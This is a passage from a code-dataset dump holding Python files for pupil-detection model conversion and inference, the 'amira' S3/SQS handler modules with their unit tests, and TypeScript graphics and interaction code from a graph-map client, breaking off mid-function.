onnxruntime\r\n\r\nort_session = onnxruntime.InferenceSession(\"/content/drive/My Drive/Colab Notebooks/Rootee/iris2_pupil_detector.onnx\")\r\n\r\ndef to_numpy(tensor):\r\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\r\n\r\n# compute ONNX Runtime output prediction\r\nort_inputs = {ort_session.get_inputs()[0].name: to_numpy(x)}\r\nort_outs = ort_session.run(None, ort_inputs)\r\n\r\n# compare ONNX Runtime and PyTorch results\r\nnp.testing.assert_allclose(to_numpy(torch_out), ort_outs[0], rtol=1e-03, atol=1e-05)\r\n\r\nprint(\"Exported model has been tested with ONNXRuntime, and the result looks good!\")" }, { "alpha_fraction": 0.6336206793785095, "alphanum_fraction": 0.6637930870056152, "avg_line_length": 27.743589401245117, "blob_id": "3b8e7687c6a44ecf9c1d1206f7f6e8a6ad60011f", "content_id": "486feb8a2a9bbd9f4452c58ce99935c26b6661b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1160, "license_type": "no_license", "max_line_length": 81, "num_lines": 39, "path": "/TF_readgraph_inference.py", "repo_name": "AdityaR-Bits/Pupil-tracking-inference-in-golang", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 25 22:38:25 2020\r\n\r\n@author: Aditya\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\ndef load_pb(path_to_pb):\r\n with tf.io.gfile.GFile(path_to_pb, 'rb') as f:\r\n graph_def = tf.compat.v1.GraphDef()\r\n graph_def.ParseFromString(f.read())\r\n with tf.Graph().as_default() as graph:\r\n tf.import_graph_def(graph_def, name='')\r\n return graph\r\ntf_graph = load_pb('/content/drive/My Drive/Colab Notebooks/Rootee/pupil_tf.pb')\r\nsess = tf.compat.v1.Session(graph=tf_graph)\r\n\r\noutput_tensor = tf_graph.get_tensor_by_name('output:0')\r\ninput_tensor = tf_graph.get_tensor_by_name('input:0')\r\n\r\nprint(output_tensor)\r\nprint(input_tensor)\r\n\r\nimport tensorflow as tf\r\nimg = tf.io.read_file('/content/drive/My Drive/Colab Notebooks/Rootee/pictu.png')\r\nimg = tf.image.decode_jpeg(img, channels=3)\r\nimg = tf.image.convert_image_dtype(img, tf.float32)\r\nimg=tf.expand_dims(img,0)\r\n#img= tf.ones([1, 3, 224, 224], tf.float32)\r\nout = tf.transpose(img, [0, 3, 1, 2])\r\nout= tf.constant(out).numpy()\r\nout.shape\r\nprint(out)\r\n\r\nsample= img\r\noutput = sess.run(output_tensor, feed_dict={input_tensor: sample})\r\n\r\nprint(output)\r\n" }, { "alpha_fraction": 0.6591809988021851, "alphanum_fraction": 0.6776750087738037, "avg_line_length": 22.354839324951172, "blob_id": "f3618bb607021edbcd6911bd164037e75af70775", "content_id": "dbd416ee38cd4bf75fba9b72a7342554552dac58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 757, "license_type": "no_license", "max_line_length": 98, "num_lines": 31, "path": "/ONNX_to_pb_conversion.py", "repo_name": "AdityaR-Bits/Pupil-tracking-inference-in-golang", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 25 22:32:29 2020\r\n\r\n@author: Aditya\r\n\"\"\"\r\n\r\n#RUN THIS ON GOOGLE COLAB\r\n\r\ntry:\r\n import onnx\r\n \r\nexcept:\r\n !pip install onnx\r\n import onnx\r\ntry:\r\n from onnx_tf.backend import prepare\r\nexcept: \r\n !git clone https://github.com/onnx/onnx.git\r\n %cd onnx\r\n !git submodule update --init --recursive\r\n !pip install -e .\r\n !git clone https://github.com/onnx/onnx-tensorflow.git\r\n %cd onnx-tensorflow\r\n !pip install -e . \r\n from onnx_tf.backend import prepare\r\n\r\nmodel_onnx = onnx.load('/content/drive/My Drive/Colab Notebooks/Rootee/iris3_pupil_detector.onnx')\r\ntf_rep = prepare(model_onnx)\r\n# Export model as .pb file\r\ntf_rep.export_graph('/content/drive/My Drive/Colab Notebooks/Rootee/iris_tf.pb')\r\n\r\n" } ]
5
royaflash/amira
https://github.com/royaflash/amira
09d82e09ecfefe178af2b5fe31b676cde08fb046
ef33b145a7e70c1c8f9b0279b723c186c741ecf5
214b0bac19f41dee1da7f57bf8d4452dbc3ee001
refs/heads/master
2022-04-08T02:22:32.116171
2020-03-18T16:06:48
2020-03-18T16:49:22
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5580110549926758, "alphanum_fraction": 0.5848987102508545, "avg_line_length": 29.852272033691406, "blob_id": "0fb1299fc13ad39dd8f4b54ddce5e6ef4bff9a03", "content_id": "807d3218d8f791932887440d0c76f58696c0824c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2715, "license_type": "permissive", "max_line_length": 78, "num_lines": 88, "path": "/tests/s3_test.py", "repo_name": "royaflash/amira", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport boto\nimport pytest\nfrom boto.s3.key import Key\nfrom mock import ANY\nfrom mock import MagicMock\nfrom mock import patch\n\nfrom amira.results_uploader import FileMetaInfo\nfrom amira.s3 import S3Handler\nfrom amira.s3 import S3ResultsUploader\n\n\nclass TestS3Handler(object):\n\n \"\"\"Tests ``amira.s3.S3Handler`` class.\"\"\"\n\n @pytest.fixture\n def s3_handler(self):\n boto.connect_s3 = MagicMock()\n return S3Handler()\n\n def test_get_contents_as_string(self, s3_handler):\n s3_connection_mock = boto.connect_s3.return_value\n bucket_mock = s3_connection_mock.get_bucket.return_value\n key_mock = bucket_mock.get_key.return_value\n key_mock.get_contents_as_string.return_value = 'test key contents'\n\n contents = s3_handler.get_contents_as_string(\n 'amira-test', 'MALWARE-1564-2016_01_11-10_55_12.tar.gz',\n )\n\n assert 'test key contents' == contents\n s3_connection_mock.get_bucket.assert_called_once_with(\n 'amira-test', validate=False,\n )\n bucket_mock.get_key.assert_called_once_with(\n 'MALWARE-1564-2016_01_11-10_55_12.tar.gz',\n )\n key_mock.get_contents_as_string.assert_called_once_with()\n\n\nclass TestS3ResultsUploader():\n\n \"\"\"Tests ``amira.s3.S3ResultsUploader`` class.\"\"\"\n\n @pytest.fixture\n def s3_results_uploader(self):\n boto.connect_s3 = MagicMock()\n return S3ResultsUploader('lorem-ipsum')\n\n def test_upload_results(self, s3_results_uploader):\n s3_connection_mock = boto.connect_s3.return_value\n\n fileobj_mock1 = MagicMock()\n fileobj_mock2 = MagicMock()\n\n results = [\n FileMetaInfo('etaoin', fileobj_mock1, 'text/html; charset=UTF-8'),\n FileMetaInfo('shrdlu', fileobj_mock2, 'application/json'),\n ]\n\n with patch.object(Key, 'set_contents_from_file', autospec=True) \\\n as patched_set_contents_from_file:\n s3_results_uploader.upload_results(results)\n\n s3_connection_mock.get_bucket.assert_called_once_with(\n 'lorem-ipsum', validate=False,\n )\n assert [\n (\n (ANY, fileobj_mock1), {\n 'headers': {\n 'Content-Type': 'text/html; charset=UTF-8',\n },\n },\n ),\n (\n (ANY, fileobj_mock2), {\n 'headers': {\n 'Content-Type': 'application/json',\n },\n },\n ),\n ] == patched_set_contents_from_file.call_args_list\n" }, { "alpha_fraction": 0.6074926257133484, "alphanum_fraction": 0.61141037940979, "avg_line_length": 31.935483932495117, "blob_id": "b12d2b3fa82b4a49ff08b2d6fc2da9e34000d825", "content_id": "35411e2f7d702f411efbef5a54b89d848416f9ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4084, "license_type": "permissive", "max_line_length": 94, "num_lines": 124, "path": "/amira/sqs.py", "repo_name": "royaflash/amira", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport logging\nfrom collections import namedtuple\n\nimport boto.sqs\nimport simplejson\nfrom boto.sqs.message import RawMessage\n\n\n# 10 is the maximum number of messages to read at once:\n# http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html\nMAX_NUMBER_MESSAGES = 10\n\n\nCreatedObject = namedtuple('ObjectCreated', ['bucket_name', 'key_name'])\n\n\nclass SqsHandler(object):\n \"\"\"Retrieves the S3 event notifications about the objects created\n in the bucket for which the notifications were configured.\n\n :param region_name: The AWS region name where the SQS queue\n containing the S3 event notifications is\n configured.\n :type region_name: string\n :param queue_name: The name of the SQS queue containing the S3\n event notifications.\n :type queue_name: string\n \"\"\"\n\n def __init__(self, region_name, queue_name):\n self._setup_sqs_queue(region_name, queue_name)\n\n def _setup_sqs_queue(self, region_name, queue_name):\n \"\"\"Connects to the SQS queue in a given AWS region.\n\n :param region_name: The AWS region name.\n :type region_name: string\n :param queue_name: The SQS queue name.\n :type queue_name: string\n \"\"\"\n sqs_connection = boto.sqs.connect_to_region(region_name)\n self.sqs_queue = sqs_connection.get_queue(queue_name)\n\n if not self.sqs_queue:\n raise SqsQueueNotFoundException(queue_name)\n\n logging.info(\n 'Successfully connected to {0} SQS queue'.format(\n queue_name,\n ),\n )\n\n self.sqs_queue.set_message_class(RawMessage)\n\n def get_created_objects(self):\n \"\"\"Retrieves the S3 event notifications about the objects\n created in the OSXCollector output bucket yields the (bucket\n name, key name) pairs describing these objects.\n \"\"\"\n messages = self.sqs_queue.get_messages(MAX_NUMBER_MESSAGES)\n logging.info(\n 'Received {0} message(s) from the SQS queue'.format(\n len(messages),\n ),\n )\n\n if messages:\n for message in messages:\n objects_created = self._retrieve_created_objects_from_message(\n message,\n )\n\n for object_created in objects_created:\n yield object_created\n\n self.sqs_queue.delete_message_batch(messages)\n\n def _retrieve_created_objects_from_message(self, message):\n \"\"\"Retrieves the bucket name and the key name, describing the\n created object, from the `Records` array in the SQS message.\n\n Yields each (bucket name, key name) pair as an `CreatedObject`\n named tuple.\n\n :param message: The SQS message. It should be in the JSON\n format.\n :type message: string\n \"\"\"\n json_body = message.get_body()\n body = simplejson.loads(json_body)\n\n if 'Records' not in body:\n logging.warning(\n '\"Records\" field not found in the SQS message. '\n 'Message body: {0}'.format(body),\n )\n return []\n\n records = body['Records']\n return self._extract_created_objects_from_records(records)\n\n def _extract_created_objects_from_records(self, records):\n logging.info(\n 'Found {0} record(s) in the SQS message'.format(len(records)),\n )\n\n for record in records:\n bucket_name = record['s3']['bucket']['name']\n key_name = record['s3']['object']['key']\n yield CreatedObject(bucket_name=bucket_name, key_name=key_name)\n\n\nclass SqsQueueNotFoundException(Exception):\n \"\"\"An exception thrown when the SQS queue cannot be found.\"\"\"\n\n def __init__(self, queue_name):\n self.queue_name = queue_name\n\n def __str__(self):\n return 'SQS queue {0} not found.'.format(self.queue_name)\n" }, { "alpha_fraction": 0.5911843776702881, "alphanum_fraction": 0.5999327301979065, "avg_line_length": 31.659339904785156, "blob_id": "61c5ff35b6aefefd762d1e5e7f39b190601b77f7", "content_id": "255ccc0ac432dc9058ca99ad1aa9cee9f009836f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2972, "license_type": "permissive", "max_line_length": 78, "num_lines": 91, "path": "/amira/s3.py", "repo_name": "royaflash/amira", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport logging\n\nimport boto\nfrom boto.s3.key import Key\n\nfrom amira.results_uploader import ResultsUploader\n\n\nclass S3Handler(object):\n \"\"\"Handles the operations with S3, like retrieving the key\n (object) contents from a bucket and creating a new key\n (object) with the contents of a given file.\n AWS and boto use the ambiguous term \"key\" to describe the objects\n inside the S3 bucket. They are unrelated to AWS keys used to access\n the resources.\n \"\"\"\n\n def __init__(self):\n self._s3_connection = boto.connect_s3()\n\n def get_contents_as_string(self, bucket_name, key_name):\n \"\"\"Retrieves the S3 key (object) contents.\n\n :param bucket_name: The S3 bucket name.\n :type bucket_name: string\n\n :param key_name: The S3 key (object) name.\n :type key_name: string\n\n :returns: The key (object) contents as a string.\n :rtype: string\n \"\"\"\n bucket = self._s3_connection.get_bucket(bucket_name, validate=False)\n key = bucket.get_key(key_name)\n contents = key.get_contents_as_string()\n return contents\n\n\nclass S3ResultsUploader(ResultsUploader):\n \"\"\"Uploads the analysis results to an S3 bucket.\n\n :param bucket_name: The name of the S3 bucket where the analysis\n results will be uploaded.\n :type bucket_name: string\n \"\"\"\n\n def __init__(self, bucket_name):\n self._bucket_name = bucket_name\n\n logging.info(\n 'Connecting to S3 to obtain access to {0} bucket.'.format(\n bucket_name,\n ),\n )\n s3_connection = boto.connect_s3()\n self._bucket = s3_connection.get_bucket(bucket_name, validate=False)\n logging.info(\n 'S3 bucket {0} retrieved successfully.'.format(\n bucket_name,\n ),\n )\n\n def upload_results(self, results):\n \"\"\"Uploads the analysis results to an S3 bucket.\n\n :param results: The list containing the meta info (name,\n content and content-type) of the files which\n needs to be uploaded.\n :type results: list of ``FileMetaInfo`` tuples\n \"\"\"\n for file_meta_info in results:\n logging.info(\n 'Uploading the analysis results in the file \"{0}\" to the S3 '\n 'bucket \"{1}\"'.format(file_meta_info.name, self._bucket_name),\n )\n self._create_object_from_file(file_meta_info)\n\n def _create_object_from_file(self, file_meta_info):\n \"\"\"Creates a new key (object) in the S3 bucket with the\n contents of a given file.\n \"\"\"\n key = Key(self._bucket)\n key.key = file_meta_info.name\n key.set_contents_from_file(\n file_meta_info.content,\n headers={'Content-Type': file_meta_info.content_type},\n )\n" }, { "alpha_fraction": 0.6245819330215454, "alphanum_fraction": 0.6601170301437378, "avg_line_length": 35.51908493041992, "blob_id": "11db6bd1780aa6e7dc9b19622e5e9ec4dd3a61bb", "content_id": "2a46179a6d50fdd7e6ea3ede4478ef595b66f5da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4784, "license_type": "permissive", "max_line_length": 76, "num_lines": 131, "path": "/tests/sqs_test.py", "repo_name": "royaflash/amira", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport boto\nimport pytest\nimport simplejson\nfrom mock import MagicMock\n\nfrom amira.sqs import SqsHandler\nfrom amira.sqs import SqsQueueNotFoundException\n\n\nTEST_DATA_DIR_PATH = 'tests/data'\n\n\[email protected]\ndef mock_sqs_queue():\n boto.sqs.connect_to_region = MagicMock()\n sqs_connection_mock = boto.sqs.connect_to_region.return_value\n return sqs_connection_mock.get_queue.return_value\n\n\ndef read_s3_event_notifications_file(s3_event_notifications_file_path):\n with open(s3_event_notifications_file_path) as fp:\n s3_event_notifications = simplejson.load(fp)\n json_s3_event_notifications = [\n simplejson.dumps(s3_event_notification)\n for s3_event_notification in s3_event_notifications\n ]\n return json_s3_event_notifications\n\n\ndef create_s3_event_notification_message_mocks(\n s3_event_notifications_file_name,\n):\n \"\"\"Creates SQS queue message mocks that will return the JSON content of\n `s3_event_notifications_file_path` JSON file as the body of the message.\n \"\"\"\n s3_event_notifications_file_path = '{0}/{1}'.format(\n TEST_DATA_DIR_PATH, s3_event_notifications_file_name,\n )\n json_s3_event_notifications = read_s3_event_notifications_file(\n s3_event_notifications_file_path,\n )\n s3_event_notification_message_mocks = [\n MagicMock(**{'get_body.return_value': json_s3_event_notification})\n for json_s3_event_notification in json_s3_event_notifications\n ]\n return s3_event_notification_message_mocks\n\n\ndef mock_s3_event_notifications(\n mock_sqs_queue, s3_event_notifications_file_name,\n):\n \"\"\"`SqsHandler.get_created_objects()` is a generator, so we need to\n mock multiple values returned by `get_messages()` method.\n In this case only one as the test cases do not operate on more than\n one message.\n \"\"\"\n s3_event_notification_message_mocks = \\\n create_s3_event_notification_message_mocks(\n s3_event_notifications_file_name,\n )\n mock_sqs_queue.get_messages.side_effect = \\\n [s3_event_notification_message_mocks]\n return s3_event_notification_message_mocks\n\n\nclass TestSqsHandler(object):\n\n def test_queue_not_found(self):\n boto.sqs.connect_to_region = MagicMock()\n sqs_connection_mock = boto.sqs.connect_to_region.return_value\n sqs_connection_mock.get_queue.return_value = None\n\n with pytest.raises(SqsQueueNotFoundException) as e:\n SqsHandler('us-west-1', 'godzilla')\n\n assert 'SQS queue godzilla not found.' == str(e.value)\n boto.sqs.connect_to_region.assert_called_once_with('us-west-1')\n sqs_connection_mock.get_queue.assert_called_once_with('godzilla')\n\n def test_get_created_objects(self, mock_sqs_queue):\n s3_event_notification_message_mocks = mock_s3_event_notifications(\n mock_sqs_queue, 's3_event_notifications.json',\n )\n sqs_handler = SqsHandler('us-west-1', 'godzilla')\n created_objects = sqs_handler.get_created_objects()\n actual_key_names = [\n created_object.key_name\n for created_object in created_objects\n ]\n\n expected_key_names = [\n 'AMIRA-1561-2016_01_11-10_54_07.tar.gz',\n 'AMIRA-1562-2016_01_11-10_54_47.tar.gz',\n 'AMIRA-1563-2016_01_11-10_54_58.tar.gz',\n 'AMIRA-1564-2016_01_11-10_55_12.tar.gz',\n 'AMIRA-1565-2016_01_11-10_55_32.tar.gz',\n 'AMIRA-1566-2016_01_11-10_55_49.tar.gz',\n 'AMIRA-1567-2016_01_11-10_56_09.tar.gz',\n ]\n assert expected_key_names == actual_key_names\n\n mock_sqs_queue.delete_message_batch.assert_called_once_with(\n s3_event_notification_message_mocks,\n )\n\n def test_get_created_objects_no_created_objects(self, mock_sqs_queue):\n mock_sqs_queue.get_messages.side_effect = [[]]\n\n sqs_handler = SqsHandler('us-west-1', 'godzilla')\n created_objects = sqs_handler.get_created_objects()\n assert 0 == len(list(created_objects))\n\n assert mock_sqs_queue.delete_message_batch.called is False\n\n def test_get_created_objects_no_records(self, mock_sqs_queue):\n \"\"\"Tests the behavior of `get_created_objects()` method in case\n the message received from SQS does not contain the \"Records\"\n field in the message body.\n \"\"\"\n mock_s3_event_notifications(\n mock_sqs_queue, 's3_test_event_notification.json',\n )\n\n sqs_handler = SqsHandler('us-west-2', 'godzilla')\n created_objects = sqs_handler.get_created_objects()\n created_objects = list(created_objects)\n assert [] == created_objects\n" }, { "alpha_fraction": 0.5820895433425903, "alphanum_fraction": 0.746268630027771, "avg_line_length": 21.33333396911621, "blob_id": "7b55193f34e7cbb1af391259a9493343b9fe1c49", "content_id": "540ba339e8e89ae543998b0e29ebc1b3668b31d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 67, "license_type": "permissive", "max_line_length": 34, "num_lines": 3, "path": "/requirements.txt", "repo_name": "royaflash/amira", "src_encoding": "UTF-8", "text": "boto==2.49.0\nosxcollector_output_filters==1.1.1\nsimplejson==3.16.0\n" } ]
5
zycrot/trackmap
https://github.com/zycrot/trackmap
5d248322339b5e49296701ea02fa407040503ad6
63352372f3a571a6051d855138e89871e7c45f02
4ecc1faf191f3d9d62508444d7bec5725a1248fe
refs/heads/master
2023-07-06T02:12:38.778396
2023-02-14T20:11:19
2023-02-14T20:11:19
73,217,014
0
0
MIT
2016-11-08T18:53:16
2023-01-18T19:27:38
2023-06-27T02:20:48
TypeScript
[ { "alpha_fraction": 0.5859813094139099, "alphanum_fraction": 0.5883177518844604, "avg_line_length": 27.53333282470703, "blob_id": "a7d20790b18e2c4961c55f07beee2325ebc4a4cf", "content_id": "88eb20507931415b4a8f989a290e9ab6273def4b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2140, "license_type": "permissive", "max_line_length": 91, "num_lines": 75, "path": "/client/src/view/gpu/gfx.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as Api from '../api.js'\nimport * as glut from './glUtil.js'\nimport * as Select from './gfx/select.js'\nimport * as Labels from './gfx/labels.js'\nimport * as Nodes from './gfx/nodes.js'\nimport * as Edges from './gfx/edges.js'\nimport * as Particles from './gfx/particles.js'\nimport * as Debug from './gfx/debug.js'\nimport * as Opt from '../../options.js'\n\nexport const init = ( gl: glut.GL, prof: glut.Profiler, options: Opt.All ): Api.Gfx => {\n\n // Separate blending needed for RGBA - don't change framebuffer alpha!\n gl.blendFuncSeparate( gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA, gl.ZERO, gl.ONE )\n\n const nodes = Nodes.init( gl )\n const edges = Edges.init( gl )\n const labels = Labels.init( gl )\n const select = Select.init( gl, nodes.geometry, edges.geometry )\n const particles = Particles.init( gl )\n\n // TODO: Put behind a flag.\n const debug = Debug.init( gl, options.simParams )\n\n return {\n update: ( gview, font, zoom ) => {\n select.update( gview )\n edges.update( gview )\n nodes.update( gview )\n labels.update( gview, font, zoom )\n\n debug.update( gview )\n },\n\n rescale: ( gview, font, zoom ) => {\n labels.rescale( gview, font, zoom )\n },\n\n pick: ( p, pointerViewPos, setHover ) => {\n prof.time( 'select.ms.gpu', () =>\n select.test( p, pointerViewPos, setHover )\n )\n },\n\n render: ( p ) => {\n\n const defaultFbo = <WebGLFramebuffer> <unknown> null\n\n prof.time( 'render.ms.gpu', () => glut.bind.fboDraw( gl, defaultFbo, () => {\n gl.viewport( 0, 0, p.canvasSize.x, p.canvasSize.y )\n gl.clearBufferfv( gl.COLOR, 0, [ ...glut.hexToRGB( p.theme.backgroundColor ), 1 ] )\n\n gl.enable( gl.BLEND )\n\n edges.render( p, false )\n nodes.render( p, false )\n labels.render( p, false )\n\n if ( p.orphanedIdx >= 0 ) {\n edges.render( p, true )\n nodes.render( p, true )\n labels.render( p, true )\n }\n particles.render( p )\n\n // debug.render( p, false )\n\n gl.disable( gl.BLEND )\n } ) )\n },\n\n explode: particles.explode,\n done: particles.done,\n }\n}\n" }, { "alpha_fraction": 0.5364464521408081, "alphanum_fraction": 0.5366742610931396, "avg_line_length": 29.799999237060547, "blob_id": "1fc142f6b824ee2ac8a75c1fe8177d84adc230a0", "content_id": "cb6de4c84f54d0d201a84d2209fa63f0cd338054", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 8780, "license_type": "permissive", "max_line_length": 108, "num_lines": 285, "path": "/client/src/control/interaction.ts", "repo_name": "zycrot/trackmap", "src_encoding": "UTF-8", "text": "import * as glm from 'gl-matrix'\nimport * as Stats from '../util/stats.js'\nimport * as G from '../../output/Yato.Common.Graph'\nimport * as ViewApi from '../view/api.js'\nimport * as View from './view.js'\nimport * as Actions from './actions.js'\nimport * as Sched from './schedule.js'\nimport * as Radial from '../view/radial.js'\nimport * as Options from '../options.js'\n\ntype GetGraph = () => G.Graph\n\nexport type Action =\n 'add'\n | 'edge'\n | 'parent'\n | 'rename'\n | 'remove'\n | 'schedule'\n | 'complete'\n | 'cancel'\n\nexport type Api = {\n addNode: () => void,\n addEdgeStart: () => void,\n addEdgeEnd: () => void,\n remove: () => void,\n changeParentStart: () => void,\n changeParentEnd: () => void,\n scheduleOverlayStart: () => void,\n scheduleOverlayEnd: () => void,\n editTitle: () => void,\n toggleCompleted: ( e: MouseEvent ) => void,\n rightBtnDown: ( x: number, y: number ) => void,\n rightBtnUp: () => void,\n pointerDown: () => void,\n pointerUp: () => void,\n pointerMove: ( x: number, y: number ) => void,\n showCard: ( nodeId: G.NodeId ) => void,\n hideCard: ( force: boolean ) => void,\n zoom: ( scale: number ) => void,\n resize: () => void,\n undo: () => void,\n redo: () => void,\n // dev mode actions:\n toggleSimPause: () => void,\n nextSimStep: () => void,\n navSimHistory: ( steps: number ) => void,\n}\n\nexport const init = ( options: Options.All, stats: Stats.Api, vstate: ViewApi.State, graph: GetGraph,\n scheduleOverlay: Sched.Api, view: View.Controller, actions: Actions.Api ): Api => {\n\n const menuWheelNode: Radial.Api = Radial.init( false )\n const menuWheelEdge: Radial.Api = Radial.init( true )\n\n const api = {\n addNode: () => {\n if ( vstate.mode.id == 'hoverNode' ) {\n actions.addChild( vstate.mode.nodeId )\n }\n },\n\n addEdgeStart: () => {\n // if ( !options.devMode ) return\n if ( vstate.mode.id == 'hoverNode' ) {\n vstate.mode = { id: 'addEdge', fromId: vstate.mode.nodeId }\n view.refresh()\n }\n },\n\n addEdgeEnd: () => {\n // if ( !options.devMode ) return\n if ( vstate.mode.id == 'addEdge' ) {\n if ( vstate.mode.toId !== undefined ) {\n actions.addEdge( vstate.mode.fromId, vstate.mode.toId )\n }\n vstate.mode = { id: 'none' }\n view.refresh()\n }\n },\n\n remove: () => {\n if ( vstate.mode.id == 'hoverNode' ) {\n actions.removeNode( vstate.mode.nodeId )\n } else if ( vstate.mode.id == 'hoverEdge' ) {\n actions.removeEdge( vstate.mode.fromId, vstate.mode.toId )\n }\n },\n\n changeParentStart: () => {\n if ( vstate.mode.id == 'hoverNode' && vstate.mode.nodeId != G.rootId ) {\n vstate.mode = { id: 'dragNode', nodeId: vstate.mode.nodeId,\n delta: glm.vec2.create(),\n reparent: { commit: false } }\n view.changeParentStart()\n }\n },\n\n changeParentEnd: () => {\n if ( vstate.mode.id == 'dragNode' && vstate.mode.reparent !== undefined ) {\n if ( vstate.mode.reparent.nodeId !== undefined ) {\n vstate.mode.reparent.commit = true\n actions.changeParent( vstate.mode.nodeId, vstate.mode.reparent.nodeId )\n vstate.mode = { id: 'hoverNode', nodeId: vstate.mode.reparent.nodeId }\n } else {\n vstate.mode = { id: 'none' }\n view.update( true )\n }\n }\n },\n\n scheduleOverlayStart: () => {\n if ( vstate.mode.id == 'none' ) {\n scheduleOverlay.show()\n vstate.mode = { id: 'scheduleOverlay' }\n }\n if ( vstate.mode.id == 'hoverNode' ) {\n scheduleOverlay.show( vstate.mode.nodeId )\n vstate.mode = { id: 'scheduleOverlay' }\n }\n },\n\n scheduleOverlayEnd: () => {\n if ( vstate.mode.id == 'scheduleOverlay' ) {\n scheduleOverlay.hide()\n vstate.mode = { id: 'none' }\n }\n },\n\n editTitle: () => {\n if ( vstate.mode.id == 'hoverNode' ) {\n api.showCard( vstate.mode.nodeId )\n }\n },\n\n toggleCompleted: () => {\n if ( vstate.mode.id == 'hoverNode' ) {\n const old = G.getCompleted(G.present(graph()))( vstate.mode.nodeId )( graph() )\n actions.setAttr( vstate.mode.nodeId, 'completed', old ? \"false\" : \"true\" )\n if ( !old ) view.onCompleted( vstate.mode.nodeId )\n }\n },\n\n rightBtnDown: ( x: number, y: number ) => {\n if ( vstate.mode.id == 'hoverNode' ) {\n vstate.mode = { id: 'menuWheelNode', nodeId: vstate.mode.nodeId }\n menuWheelNode.show( x, y )\n } else if ( vstate.mode.id == 'hoverEdge' ) {\n vstate.mode = { id: 'menuWheelEdge', fromId: vstate.mode.fromId, toId: vstate.mode.toId }\n menuWheelEdge.show( x, y )\n }\n },\n\n rightBtnUp: () => {\n if ( vstate.mode.id == 'menuWheelNode' ) {\n // TODO: At the moment actions here and inside the radial menu are not synced. Changing one requires\n // changing the other.\n const actions = {\n 'add': api.addNode,\n 'rename': api.showCard.bind( null, vstate.mode.nodeId ),\n 'remove': api.remove,\n 'edge': api.addEdgeStart,\n 'parent': api.changeParentStart,\n 'schedule': api.scheduleOverlayStart.bind( null, vstate.mode.nodeId ),\n 'complete': api.toggleCompleted,\n 'cancel': view.refresh,\n }\n\n const action = menuWheelNode.hide()\n vstate.mode = { id: 'hoverNode', nodeId: vstate.mode.nodeId }\n actions[ action ]()\n } else if ( vstate.mode.id == 'menuWheelEdge' ) {\n const invalid = () => {\n throw Error('Invalid action selected.')\n }\n const actions = {\n 'add': invalid,\n 'rename': invalid,\n 'remove': api.remove,\n 'edge': invalid,\n 'parent': invalid,\n 'schedule': invalid,\n 'complete': invalid,\n 'cancel': view.refresh,\n }\n const action = menuWheelEdge.hide()\n vstate.mode = { id: 'hoverEdge', fromId: vstate.mode.fromId, toId: vstate.mode.toId }\n actions[ action ]()\n }\n },\n\n pointerDown: () => {\n if ( vstate.mode.id == 'hoverNode' ) {\n vstate.mode = { id: 'selectNode', nodeId: vstate.mode.nodeId }\n } else if ( vstate.mode.id == 'none' ) {\n vstate.mode = { id: 'panView' }\n } else {\n api.hideCard( true )\n }\n },\n\n pointerUp: () => {\n\n if ( vstate.mode.id == 'selectNode' ) {\n api.showCard( vstate.mode.nodeId )\n } else if ( vstate.mode.id == 'dragNode' ) {\n if ( vstate.mode.reparent ) {\n api.changeParentEnd()\n } else {\n vstate.mode = { id: 'hoverNode', nodeId: vstate.mode.nodeId }\n view.refresh()\n }\n } else if ( vstate.mode.id == 'panView' ) {\n vstate.mode = { id: 'none' }\n } else if ( vstate.mode.id == 'addEdge' ) {\n api.addEdgeEnd()\n }\n\n },\n\n pointerMove: ( x: number, y: number ) => {\n if ( vstate.mode.id == 'selectNode' && vstate.mode.nodeId != G.rootId ) {\n vstate.mode = { id: 'dragNode', nodeId: vstate.mode.nodeId, delta: glm.vec2.create() }\n view.refresh( true )\n } else if ( vstate.mode.id == 'menuWheelNode' ) {\n menuWheelNode.pointerMove( x, y )\n } else if ( vstate.mode.id == 'menuWheelEdge' ) {\n menuWheelEdge.pointerMove( x, y )\n }\n\n view.pointerMove( x, y )\n },\n\n showCard: ( nodeId: G.NodeId ) => {\n vstate.mode = { id: 'infoCard', nodeId }\n view.showCard( vstate.mode.nodeId )\n },\n\n hideCard: ( force: boolean ) => {\n if ( vstate.mode.id == 'infoCard' ) {\n\n const res = view.hideCard( force )\n if ( res ) {\n const t = G.present( graph() )\n const title = G.getTitle( t )( vstate.mode.nodeId )( graph() )\n const info = G.getInfo( t )( vstate.mode.nodeId )( graph() )\n\n if ( res.title !== title ) {\n actions.setAttr( vstate.mode.nodeId, 'title', res.title )\n }\n if ( res.info !== info ) {\n actions.setAttr( vstate.mode.nodeId, 'info', res.info )\n }\n\n vstate.mode = { id: 'none' }\n }\n }\n },\n\n zoom: ( scale: number ) => {\n if ( 